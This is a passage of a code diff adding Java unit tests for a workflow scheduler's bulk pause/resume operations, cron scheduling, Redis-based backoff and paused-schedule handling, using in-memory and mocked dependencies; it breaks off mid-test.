schedulerBulkService.pauseSchedules(scheduleNames); + + // Then + assertEquals(50, response.getBulkSuccessfulResults().size()); + assertEquals(0, response.getBulkErrorResults().size()); + + // Verify all schedules were processed + for (int i = 1; i <= 50; i++) { + String scheduleName = "schedule" + i; + verify(schedulerService, times(1)).pauseSchedule(scheduleName); + } + } + + @Test + @DisplayName("pauseSchedules should maintain order in results") + void testPauseSchedulesResultOrder() { + // Given + List scheduleNames = List.of("schedule1", "schedule2", "schedule3"); + + for (String scheduleName : scheduleNames) { + doNothing().when(schedulerService).pauseSchedule(scheduleName); + } + + // When + BulkResponse response = schedulerBulkService.pauseSchedules(scheduleNames); + + // Then + assertEquals(3, response.getBulkSuccessfulResults().size()); + assertEquals(scheduleNames, response.getBulkSuccessfulResults()); + } + + @Test + @DisplayName( + "pauseSchedules should handle non-existent schedule gracefully if no exception thrown") + void testPauseSchedulesWithNonExistentSchedule() { + // Given - In current implementation, pauseSchedule doesn't throw exception for non-existent + // schedules + List scheduleNames = List.of("existing_schedule", "non_existent_schedule"); + + // Both succeed (current behavior - pauseSchedule silently returns for non-existent + // schedules) + doNothing().when(schedulerService).pauseSchedule("existing_schedule"); + doNothing().when(schedulerService).pauseSchedule("non_existent_schedule"); + + // When + BulkResponse response = schedulerBulkService.pauseSchedules(scheduleNames); + + // Then - Both should succeed (current behavior) + assertEquals(2, response.getBulkSuccessfulResults().size()); + assertTrue(response.getBulkSuccessfulResults().contains("existing_schedule")); + assertTrue(response.getBulkSuccessfulResults().contains("non_existent_schedule")); + assertEquals(0, response.getBulkErrorResults().size()); + + verify(schedulerService, times(1)).pauseSchedule("existing_schedule"); + verify(schedulerService, times(1)).pauseSchedule("non_existent_schedule"); + } + + @Test + @DisplayName("pauseSchedules should handle ApplicationException with NOT_FOUND code") + void testPauseSchedulesWithNotFoundSchedule() { + // Given - This tests the future behavior when pauseSchedule throws exception for + // non-existent schedules + List scheduleNames = List.of("existing_schedule", "non_existent_schedule"); + + doNothing().when(schedulerService).pauseSchedule("existing_schedule"); + doThrow(new NotFoundException("Schedule 'non_existent_schedule' not found")) + .when(schedulerService) + .pauseSchedule("non_existent_schedule"); + + // When + BulkResponse response = schedulerBulkService.pauseSchedules(scheduleNames); + + // Then + assertEquals(1, response.getBulkSuccessfulResults().size()); + assertTrue(response.getBulkSuccessfulResults().contains("existing_schedule")); + assertEquals(1, response.getBulkErrorResults().size()); + assertTrue(response.getBulkErrorResults().containsKey("non_existent_schedule")); + assertEquals( + "Schedule 'non_existent_schedule' not found", + response.getBulkErrorResults().get("non_existent_schedule")); + } + + // Resume Schedule Tests + + @Test + @DisplayName("resumeSchedules should successfully resume existing schedules") + void testResumeSchedulesSuccessful() { + // Given + List scheduleNames = List.of("schedule1", "schedule2"); + + // Mock resumeSchedule to do nothing (success) + doNothing().when(schedulerService).resumeSchedule("schedule1"); + doNothing().when(schedulerService).resumeSchedule("schedule2"); + + // When + BulkResponse response = schedulerBulkService.resumeSchedules(scheduleNames); + + // Then + assertEquals(2, response.getBulkSuccessfulResults().size()); + assertTrue(response.getBulkSuccessfulResults().contains("schedule1")); + assertTrue(response.getBulkSuccessfulResults().contains("schedule2")); + assertTrue(response.getBulkErrorResults().isEmpty()); + + verify(schedulerService, times(1)).resumeSchedule("schedule1"); + verify(schedulerService, times(1)).resumeSchedule("schedule2"); + } + + @Test + @DisplayName("resumeSchedules should handle exceptions during resume operation") + void testResumeSchedulesWithException() { + // Given + List scheduleNames = List.of("schedule1", "schedule2"); + + // schedule1 succeeds, schedule2 throws exception + doNothing().when(schedulerService).resumeSchedule("schedule1"); + doThrow(new RuntimeException("Database error")) + .when(schedulerService) + .resumeSchedule("schedule2"); + + // When + BulkResponse response = schedulerBulkService.resumeSchedules(scheduleNames); + + // Then + assertEquals(1, response.getBulkSuccessfulResults().size()); + assertTrue(response.getBulkSuccessfulResults().contains("schedule1")); + assertEquals(1, response.getBulkErrorResults().size()); + assertTrue(response.getBulkErrorResults().containsKey("schedule2")); + assertEquals("Database error", response.getBulkErrorResults().get("schedule2")); + } + + @Test + @DisplayName("resumeSchedules should handle empty list") + void testResumeSchedulesWithEmptyList() { + // Given + List scheduleNames = Collections.emptyList(); + + // When + BulkResponse response = schedulerBulkService.resumeSchedules(scheduleNames); + + // Then + assertEquals(0, response.getBulkSuccessfulResults().size()); + assertEquals(0, response.getBulkErrorResults().size()); + + verify(schedulerService, never()).resumeSchedule(anyString()); + } + + @Test + @DisplayName("resumeSchedules should handle single schedule") + void testResumeSchedulesWithSingleSchedule() { + // Given + List scheduleNames = List.of("single_schedule"); + doNothing().when(schedulerService).resumeSchedule("single_schedule"); + + // When + BulkResponse response = schedulerBulkService.resumeSchedules(scheduleNames); + + // Then + assertEquals(1, response.getBulkSuccessfulResults().size()); + assertTrue(response.getBulkSuccessfulResults().contains("single_schedule")); + assertTrue(response.getBulkErrorResults().isEmpty()); + + verify(schedulerService, times(1)).resumeSchedule("single_schedule"); + } + + @Test + @DisplayName("resumeSchedules should handle mixed success and failure scenarios") + void testResumeSchedulesMixedResults() { + // Given + List scheduleNames = List.of("success1", "exception", "success2"); + + doNothing().when(schedulerService).resumeSchedule("success1"); + doThrow(new TransientException("System error")) + .when(schedulerService) + .resumeSchedule("exception"); + doNothing().when(schedulerService).resumeSchedule("success2"); + + // When + BulkResponse response = schedulerBulkService.resumeSchedules(scheduleNames); + + // Then + assertEquals(2, response.getBulkSuccessfulResults().size()); + assertTrue(response.getBulkSuccessfulResults().contains("success1")); + assertTrue(response.getBulkSuccessfulResults().contains("success2")); + + assertEquals(1, response.getBulkErrorResults().size()); + assertTrue(response.getBulkErrorResults().containsKey("exception")); + assertEquals("System error", response.getBulkErrorResults().get("exception")); + } + + @Test + @DisplayName("resumeSchedules should handle large list within limits") + void testResumeSchedulesWithLargeValidList() { + // Given - Create a list of 50 schedules (keep it smaller for cleaner test) + List scheduleNames = new ArrayList<>(); + for (int i = 1; i <= 50; i++) { + String scheduleName = "schedule" + i; + scheduleNames.add(scheduleName); + doNothing().when(schedulerService).resumeSchedule(scheduleName); + } + + // When + BulkResponse response = schedulerBulkService.resumeSchedules(scheduleNames); + + // Then + assertEquals(50, response.getBulkSuccessfulResults().size()); + assertEquals(0, response.getBulkErrorResults().size()); + + // Verify all schedules were processed + for (int i = 1; i <= 50; i++) { + String scheduleName = "schedule" + i; + verify(schedulerService, times(1)).resumeSchedule(scheduleName); + } + } + + @Test + @DisplayName("resumeSchedules should maintain order in results") + void testResumeSchedulesResultOrder() { + // Given + List scheduleNames = List.of("schedule1", "schedule2", "schedule3"); + + for (String scheduleName : scheduleNames) { + doNothing().when(schedulerService).resumeSchedule(scheduleName); + } + + // When + BulkResponse response = schedulerBulkService.resumeSchedules(scheduleNames); + + // Then + assertEquals(3, response.getBulkSuccessfulResults().size()); + assertEquals(scheduleNames, response.getBulkSuccessfulResults()); + } + + @Test + @DisplayName( + "resumeSchedules should handle non-existent schedule gracefully if no exception thrown") + void testResumeSchedulesWithNonExistentSchedule() { + // Given - In current implementation, resumeSchedule doesn't throw exception for + // non-existent schedules + List scheduleNames = List.of("existing_schedule", "non_existent_schedule"); + + // Both succeed (current behavior - resumeSchedule silently returns for non-existent + // schedules) + doNothing().when(schedulerService).resumeSchedule("existing_schedule"); + doNothing().when(schedulerService).resumeSchedule("non_existent_schedule"); + + // When + BulkResponse response = schedulerBulkService.resumeSchedules(scheduleNames); + + // Then - Both should succeed (current behavior) + assertEquals(2, response.getBulkSuccessfulResults().size()); + assertTrue(response.getBulkSuccessfulResults().contains("existing_schedule")); + assertTrue(response.getBulkSuccessfulResults().contains("non_existent_schedule")); + assertEquals(0, response.getBulkErrorResults().size()); + + verify(schedulerService, times(1)).resumeSchedule("existing_schedule"); + verify(schedulerService, times(1)).resumeSchedule("non_existent_schedule"); + } + + @Test + @DisplayName("resumeSchedules should handle ApplicationException with NOT_FOUND code") + void testResumeSchedulesWithNotFoundSchedule() { + // Given - This tests the future behavior when resumeSchedule throws exception for + // non-existent schedules + List scheduleNames = List.of("existing_schedule", "non_existent_schedule"); + + doNothing().when(schedulerService).resumeSchedule("existing_schedule"); + doThrow(new NotFoundException("Schedule 'non_existent_schedule' not found")) + .when(schedulerService) + .resumeSchedule("non_existent_schedule"); + + // When + BulkResponse response = schedulerBulkService.resumeSchedules(scheduleNames); + + // Then + assertEquals(1, response.getBulkSuccessfulResults().size()); + assertTrue(response.getBulkSuccessfulResults().contains("existing_schedule")); + assertEquals(1, response.getBulkErrorResults().size()); + assertTrue(response.getBulkErrorResults().containsKey("non_existent_schedule")); + assertEquals( + "Schedule 'non_existent_schedule' not found", + response.getBulkErrorResults().get("non_existent_schedule")); + } + + @Test + @DisplayName("resumeSchedules should handle already running schedule gracefully") + void testResumeSchedulesWithAlreadyRunningSchedule() { + // Given - Testing scenario where a schedule is already running/resumed + List scheduleNames = List.of("paused_schedule", "already_running_schedule"); + + doNothing().when(schedulerService).resumeSchedule("paused_schedule"); + // resumeSchedule silently returns for already running schedules (based on current + // implementation) + doNothing().when(schedulerService).resumeSchedule("already_running_schedule"); + + // When + BulkResponse response = schedulerBulkService.resumeSchedules(scheduleNames); + + // Then - Both should succeed + assertEquals(2, response.getBulkSuccessfulResults().size()); + assertTrue(response.getBulkSuccessfulResults().contains("paused_schedule")); + assertTrue(response.getBulkSuccessfulResults().contains("already_running_schedule")); + assertEquals(0, response.getBulkErrorResults().size()); + + verify(schedulerService, times(1)).resumeSchedule("paused_schedule"); + verify(schedulerService, times(1)).resumeSchedule("already_running_schedule"); + } +} diff --git a/scheduler/core/src/test/java/io/orkes/conductor/scheduler/service/SchedulerServiceTest.java b/scheduler/core/src/test/java/io/orkes/conductor/scheduler/service/SchedulerServiceTest.java new file mode 100644 index 0000000..8756eac --- /dev/null +++ b/scheduler/core/src/test/java/io/orkes/conductor/scheduler/service/SchedulerServiceTest.java @@ -0,0 +1,1540 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.service; + +import java.time.Instant; +import java.time.ZoneId; +import java.time.ZonedDateTime; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.UUID; +import java.util.stream.Collectors; + +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.mockito.ArgumentCaptor; +import org.mockito.Mockito; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.sync.Lock; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.service.WorkflowService; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.health.RedisMonitor; +import io.orkes.conductor.scheduler.config.SchedulerProperties; +import io.orkes.conductor.scheduler.listener.ScheduleChangeListenerStub; +import io.orkes.conductor.scheduler.model.CronSchedule; +import io.orkes.conductor.scheduler.model.NextScheduleResult; +import io.orkes.conductor.scheduler.model.WorkflowSchedule; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; +import io.orkes.conductor.scheduler.model.WorkflowScheduleModel; + +import static io.orkes.conductor.scheduler.service.SchedulerService.CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME; +import static io.orkes.conductor.scheduler.service.SchedulerService.CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyInt; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +/** + * Unit tests for the OSS SchedulerService. Uses in-memory DAO implementations and mocks — no + * external dependencies required. + */ +class SchedulerServiceTest { + + private static final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + + private final InMemorySchedulerDAO schedulerDAO = new InMemorySchedulerDAO(); + private final MockQueueDao queueDAO = new MockQueueDao(); + private final Lock lock = Mockito.mock(Lock.class); + private final WorkflowService workflowService = Mockito.mock(WorkflowService.class); + private final MockExecutor executor = new MockExecutor(); + private final RedisMonitor redisMonitor = Mockito.mock(RedisMonitor.class); + private final SchedulerProperties properties = new SchedulerProperties(); + + @BeforeEach + void setUp() { + queueDAO.clearCounter(); + queueDAO.clearData(); + schedulerDAO.clear(); + properties.setArchivalThreadCount(1); + properties.setPollingThreadCount(1); + properties.setPollBatchSize(1); + properties.setPollingInterval(100); + Mockito.reset(workflowService, redisMonitor, lock); + } + + @AfterEach + void cleanupAfterTest() { + // InMemorySchedulerDAO is cleared in setUp + } + + private SchedulerService createService(SchedulerTimeProvider timeProvider) { + return new SchedulerService( + Mockito.mock(io.orkes.conductor.dao.archive.SchedulerArchivalDAO.class), + schedulerDAO, + workflowService, + queueDAO, + executor, + Optional.of(redisMonitor), + properties, + timeProvider, + lock, + objectMapper, + new ScheduleChangeListenerStub()); + } + + private SchedulerService createServiceWithRedisHealthy(SchedulerTimeProvider timeProvider) { + when(redisMonitor.isMemoryCritical()).thenReturn(false); + when(redisMonitor.getUsagePercentage()).thenReturn(10); + return createService(timeProvider); + } + + private ZonedDateTime utcTime(long epochMillis) { + return ZonedDateTime.ofInstant(Instant.ofEpochMilli(epochMillis), ZoneId.of("UTC")); + } + + // ------------------------------------------------------------------------- + // Model tests (no DAO or service needed) + // ------------------------------------------------------------------------- + + @Test + @DisplayName("WorkflowScheduleModel.from copies all properties from WorkflowSchedule") + void testCopyBean() { + WorkflowSchedule ws = new WorkflowSchedule(); + ws.setName(UUID.randomUUID().toString()); + ws.setCreatedBy("BLAH"); + ws.setCronExpression("* * * * * *"); + ws.setPaused(false); + ws.setRunCatchupScheduleInstances(true); + ws.setScheduleStartTime(Long.MAX_VALUE - 100); + + WorkflowScheduleModel wsm = WorkflowScheduleModel.from(ws); + assertEquals(ws.getName(), wsm.getName()); + assertEquals(ws.getCreatedBy(), wsm.getCreatedBy()); + assertEquals(ws.getCronExpression(), wsm.getCronExpression()); + assertEquals(ws.isPaused(), wsm.isPaused()); + assertEquals(ws.isRunCatchupScheduleInstances(), wsm.isRunCatchupScheduleInstances()); + assertEquals(ws.getScheduleStartTime(), wsm.getScheduleStartTime()); + } + + @Test + @DisplayName("getEffectiveCronSchedules wraps legacy single cronExpression") + void effectiveCronSchedulesWrapsLegacyCronExpression() { + WorkflowSchedule ws = new WorkflowSchedule(); + ws.setCronExpression("@daily"); + ws.setZoneId("America/New_York"); + + List effective = ws.getEffectiveCronSchedules(); + assertEquals(1, effective.size()); + assertEquals("@daily", effective.get(0).getCronExpression()); + assertEquals("America/New_York", effective.get(0).getZoneId()); + } + + @Test + @DisplayName("getEffectiveCronSchedules returns cronSchedules list when set") + void effectiveCronSchedulesReturnsCronSchedulesList() { + WorkflowSchedule ws = new WorkflowSchedule(); + ws.setCronExpression("@daily"); // should be ignored + + CronSchedule cs1 = new CronSchedule(); + cs1.setCronExpression("0 0 8 * * ?"); + cs1.setZoneId("UTC"); + CronSchedule cs2 = new CronSchedule(); + cs2.setCronExpression("0 0 20 * * ?"); + cs2.setZoneId("UTC"); + ws.setCronSchedules(Arrays.asList(cs1, cs2)); + + List effective = ws.getEffectiveCronSchedules(); + assertEquals(2, effective.size()); + assertEquals("0 0 8 * * ?", effective.get(0).getCronExpression()); + assertEquals("0 0 20 * * ?", effective.get(1).getCronExpression()); + assertTrue(ws.hasMultipleCronSchedules()); + } + + // ------------------------------------------------------------------------- + // Core scheduling lifecycle + // ------------------------------------------------------------------------- + + @Test + @DisplayName("basic schedule: create, execute on poll, produce archival message") + void testSchedulerBasics() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createServiceWithRedisHealthy(mockTimeProvider); + service.start(); + + WorkflowSchedule testSchedule = new WorkflowSchedule(); + testSchedule.setName("test_schedule"); + testSchedule.setCronExpression("@daily"); + testSchedule.setStartWorkflowRequest(new StartWorkflowRequest()); + testSchedule.getStartWorkflowRequest().setName("test_workflow"); + + // Thursday, August 26, 2021 5:46:40 PM + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + service.createOrUpdateWorkflowSchedule(testSchedule); + Mockito.reset(mockTimeProvider); + + assertEquals(1, queueDAO.dummyQueues.get(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME).size()); + assertTrue( + queueDAO.dummyQueues + .get(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME) + .containsKey("test_schedule")); + assertEquals(1, queueDAO.getCounter("pushWithPriority")); + assertNotNull(executor.getExecutorServiceMainQueuePoll(1).getCommand()); + assertNotNull(executor.getExecutorServiceArchivalQueuePoll(1).getCommand()); + assertNull(queueDAO.dummyQueues.get(CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME)); + + // Thursday, August 26, 2021 23:59:59.500 — just before midnight, within 1s of next run + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630022399500L)); + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + Mockito.reset(mockTimeProvider); + + assertEquals(1, queueDAO.getCounter("pop-conductor_system_scheduler")); + assertEquals(1, queueDAO.getCounter("push")); + assertEquals(2, queueDAO.getCounter("pushWithPriority")); + assertEquals(1, queueDAO.dummyQueues.get(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME).size()); + assertEquals( + 1, queueDAO.dummyQueues.get(CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME).size()); + + // Verify workflow was started and execution record saved + verify(workflowService, times(1)).startWorkflow(any(StartWorkflowRequest.class)); + + WorkflowScheduleModel schedule = schedulerDAO.findScheduleByName("test_schedule"); + long nextRunEpoch = schedulerDAO.getNextRunTimeInEpoch(schedule.getName()); + // Next run should be midnight Aug 27 UTC = 1630108800000 + assertEquals(1630108800000L, nextRunEpoch); + assertEquals(schedule, service.getSchedule("test_schedule")); + } + + @Test + @DisplayName("schedule with start and end times respects time bounds") + void testSchedulerStartAndEnd() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createService(mockTimeProvider); + + WorkflowScheduleModel testSchedule = new WorkflowScheduleModel(); + testSchedule.setName("test_schedule"); + testSchedule.setCronExpression("* * * ? * *"); // Every second + testSchedule.setStartWorkflowRequest(new StartWorkflowRequest()); + testSchedule.setZoneId("America/New_York"); + testSchedule.getStartWorkflowRequest().setName("test_workflow"); + + long startEpoch = 1688000000000L; + ZonedDateTime testTime = + ZonedDateTime.ofInstant(Instant.ofEpochMilli(startEpoch), service.zoneId); + + boolean scheduled = service.computeAndSaveNextSchedule(testSchedule, testTime, testTime); + assertTrue(scheduled); + Long offsetTimeSeconds = + (Long) + queueDAO.dummyQueues + .get("conductor_system_scheduler") + .get("test_schedule") + .get("offsetTimeInSecond"); + assertEquals(1, offsetTimeSeconds); + + queueDAO.dummyQueues.clear(); + + // scheduleStartTime in the future skips ahead + int seconds = 20; + testSchedule.setScheduleStartTime(startEpoch + (seconds * 1000)); + runAndAssert(service, testSchedule, startEpoch, startEpoch - 300, seconds); + runAndAssert( + service, + testSchedule, + startEpoch + (seconds * 1000), + (startEpoch + (seconds * 1000)) - 300, + 1); + + // scheduleEndTime in the past returns false + testSchedule.setScheduleStartTime(startEpoch); + testSchedule.setScheduleEndTime(startEpoch + (seconds * 1000)); + runAndAssert(service, testSchedule, startEpoch, startEpoch - 300, 1); + ZonedDateTime endTime = + ZonedDateTime.ofInstant( + Instant.ofEpochMilli(startEpoch + (seconds * 1000)), service.zoneId); + ZonedDateTime lastBeforeEnd = + ZonedDateTime.ofInstant( + Instant.ofEpochMilli((startEpoch + (seconds * 1000)) - 300), + service.zoneId); + assertFalse(service.computeAndSaveNextSchedule(testSchedule, endTime, lastBeforeEnd)); + } + + private void runAndAssert( + SchedulerService service, + WorkflowScheduleModel testSchedule, + long lastRunTime, + long localTime, + int expectedOffset) { + ZonedDateTime current = + ZonedDateTime.ofInstant(Instant.ofEpochMilli(localTime), service.zoneId); + ZonedDateTime last = + ZonedDateTime.ofInstant(Instant.ofEpochMilli(lastRunTime), service.zoneId); + boolean scheduled = service.computeAndSaveNextSchedule(testSchedule, current, last); + assertTrue(scheduled); + Long offsetTimeSeconds = + (Long) + queueDAO.dummyQueues + .get("conductor_system_scheduler") + .get("test_schedule") + .get("offsetTimeInSecond"); + assertEquals(expectedOffset, offsetTimeSeconds); + } + + @Test + @DisplayName("edge cases: within-window, too-soon, too-early queue re-push") + void testSchedulerEdgeCases() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createServiceWithRedisHealthy(mockTimeProvider); + service.start(); + + WorkflowSchedule testSchedule = new WorkflowSchedule(); + testSchedule.setName("test_schedule"); + testSchedule.setCronExpression("*/5 * * ? * *"); + testSchedule.setStartWorkflowRequest(new StartWorkflowRequest()); + testSchedule.setZoneId("America/New_York"); + testSchedule.getStartWorkflowRequest().setName("test_workflow"); + + // Thursday, August 26, 2021 5:46:40 PM + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + service.createOrUpdateWorkflowSchedule(testSchedule); + Mockito.reset(mockTimeProvider); + + assertEquals(1, queueDAO.dummyQueues.get(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME).size()); + assertEquals( + 5L, + queueDAO.dummyQueues + .get(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME) + .get("test_schedule") + .get("offsetTimeInSecond")); + + // Within 1 second of next run — should execute + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000004500L)); + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + Mockito.reset(mockTimeProvider); + + assertEquals( + 6L, + queueDAO.dummyQueues + .get(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME) + .get("test_schedule") + .get("offsetTimeInSecond")); + assertEquals( + 1, queueDAO.dummyQueues.get(CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME).size()); + + // Too soon — should NOT execute, just re-push + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000007500L)); + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + Mockito.reset(mockTimeProvider); + + assertEquals( + 3L, + queueDAO.dummyQueues + .get(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME) + .get("test_schedule") + .get("offsetTimeInSecond")); + // Archival queue unchanged + assertEquals( + 1, queueDAO.dummyQueues.get(CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME).size()); + + // Too early — should NOT execute + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000003500L)); + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + Mockito.reset(mockTimeProvider); + + assertEquals( + 7L, + queueDAO.dummyQueues + .get(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME) + .get("test_schedule") + .get("offsetTimeInSecond")); + assertEquals( + 1, queueDAO.dummyQueues.get(CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME).size()); + + // Just before the next run — should execute + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000009100L)); + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + Mockito.reset(mockTimeProvider); + + assertEquals( + 6L, + queueDAO.dummyQueues + .get(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME) + .get("test_schedule") + .get("offsetTimeInSecond")); + assertEquals( + 2, queueDAO.dummyQueues.get(CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME).size()); + } + + // ------------------------------------------------------------------------- + // Backoff logic + // ------------------------------------------------------------------------- + + @Test + @DisplayName("Redis memory pressure triggers exponential backoff") + void testBackoffLogic() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + when(redisMonitor.isMemoryCritical()).thenReturn(false); + when(redisMonitor.getUsagePercentage()).thenReturn(65); + SchedulerService service = createService(mockTimeProvider); + service.start(); + + // Healthy Redis — should poll + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + assertEquals(1, queueDAO.getCounter("pop-conductor_system_scheduler")); + + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + assertEquals(2, queueDAO.getCounter("pop-conductor_system_scheduler")); + + // Critical Redis — triggers backoff + when(redisMonitor.isMemoryCritical()).thenReturn(true); + when(redisMonitor.getUsagePercentage()).thenReturn(80); + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + assertEquals(2, queueDAO.getCounter("pop-conductor_system_scheduler")); + assertEquals(5, service.backoffFactor.get()); + int expectedBackoffCount = 50; + assertEquals(expectedBackoffCount, service.scheduleWfPollerBackoff.get()); + + for (int i = 1; i < expectedBackoffCount; i++) { + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + } + assertEquals(1, service.scheduleWfPollerBackoff.get()); + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + assertEquals(expectedBackoffCount * 2, service.scheduleWfPollerBackoff.get()); + + for (int i = 1; i < (expectedBackoffCount * 2); i++) { + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + } + + // Redis recovers + when(redisMonitor.isMemoryCritical()).thenReturn(false); + when(redisMonitor.getUsagePercentage()).thenReturn(40); + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + assertEquals(0, service.scheduleWfPollerBackoff.get()); + assertEquals(0, service.backoffFactor.get()); + + int expectedCounter = 3; + assertEquals(expectedCounter, queueDAO.getCounter("pop-conductor_system_scheduler")); + int pollCount = 10; + for (int i = 0; i < pollCount; i++) { + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + } + assertEquals( + expectedCounter + pollCount, queueDAO.getCounter("pop-conductor_system_scheduler")); + } + + // ------------------------------------------------------------------------- + // Pause / Resume + // ------------------------------------------------------------------------- + + @Test + @DisplayName("schedule created with paused=true is not queued") + void pausedScheduleCreation() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createServiceWithRedisHealthy(mockTimeProvider); + service.start(); + + WorkflowSchedule testSchedule = new WorkflowSchedule(); + testSchedule.setPaused(true); + testSchedule.setName("test_schedule"); + testSchedule.setCronExpression("@daily"); + testSchedule.setStartWorkflowRequest(new StartWorkflowRequest()); + testSchedule.setZoneId("America/New_York"); + testSchedule.getStartWorkflowRequest().setName("test_workflow"); + + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + service.createOrUpdateWorkflowSchedule(testSchedule); + + assertNull(queueDAO.dummyQueues.get(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME)); + } + + @Test + @DisplayName("updating schedule to paused=true removes it from queue") + void scheduleUpdatedPaused() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createServiceWithRedisHealthy(mockTimeProvider); + service.start(); + + WorkflowSchedule testSchedule = new WorkflowSchedule(); + testSchedule.setPaused(false); + testSchedule.setName("test_schedule"); + testSchedule.setCronExpression("@daily"); + testSchedule.setStartWorkflowRequest(new StartWorkflowRequest()); + testSchedule.setZoneId("America/New_York"); + testSchedule.getStartWorkflowRequest().setName("test_workflow"); + + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + service.createOrUpdateWorkflowSchedule(testSchedule); + assertNotNull(queueDAO.dummyQueues.get(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME)); + + testSchedule.setPaused(true); + service.createOrUpdateWorkflowSchedule(testSchedule); + assertNull( + queueDAO.dummyQueues + .get(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME) + .get(testSchedule.getName())); + } + + @Test + @DisplayName("paused schedule in queue is acked without execution") + void pausedScheduleInQueue() { + var mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + var mockSchedulerDAO = Mockito.mock(io.orkes.conductor.dao.scheduler.SchedulerDAO.class); + var service = + new SchedulerService( + Mockito.mock(io.orkes.conductor.dao.archive.SchedulerArchivalDAO.class), + mockSchedulerDAO, + workflowService, + Mockito.mock(QueueDAO.class), + executor, + Optional.of(redisMonitor), + properties, + mockTimeProvider, + lock, + objectMapper, + new ScheduleChangeListenerStub()); + + var testSchedule = new WorkflowScheduleModel(); + testSchedule.setPaused(true); + testSchedule.setName("test_schedule"); + testSchedule.setCronExpression("@daily"); + testSchedule.setStartWorkflowRequest(new StartWorkflowRequest()); + testSchedule.setZoneId("America/New_York"); + when(mockSchedulerDAO.findScheduleByName(eq(testSchedule.getName()))) + .thenReturn(testSchedule); + + QueueDAO mockQueue = 